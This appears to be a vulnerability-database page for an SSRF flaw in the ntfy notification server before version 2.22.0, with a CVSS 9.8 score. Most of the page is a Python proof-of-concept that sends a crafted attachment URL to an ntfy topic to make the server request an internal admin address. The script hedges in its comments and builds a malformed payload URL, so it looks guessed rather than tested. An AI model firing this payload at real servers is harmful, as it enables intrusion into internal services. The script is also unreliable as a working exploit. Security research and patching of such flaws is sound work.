ntfy before 2.22.0 allows SSRF because of an unanchored regular expression.
CVSS Details
CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
ntfy < 2.22.0
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
# Target vulnerable ntfy instance (replace with actual target)
target_url = "http://localhost:80/mytopic"
# Payload designed to bypass unanchored regex validation.
# Example: Using '@' to confuse the parser or bypass blocklists.
# The regex might check for 'trusted.com' but unanchored allows 'trusted.com@internal_ip'.
internal_target = "http://127.0.0.1:80/admin"
bypass_payload = f"http://trusted-site.com@{internal_target}"
headers = {
"User-Agent": "CVE-2026-39087-Test"
}
# In ntfy, SSRF often triggers via attachment URL or webhook features.
# Here we simulate a request that includes the malicious URL.
data = {
"message": "SSRF Test",
"attach": bypass_payload # Triggering the vulnerable attachment fetch logic
}
try:
response = requests.post(target_url, json=data, headers=headers)
print(f"[+] Request sent to {target_url}")
print(f"[+] Payload used: {bypass_payload}")
print(f"[+] Response Status: {response.status_code}")
if response.status_code == 200:
print("[+] Potential SSRF successful. Check internal server logs.")
except Exception as e:
print(f"[-] Error: {e}")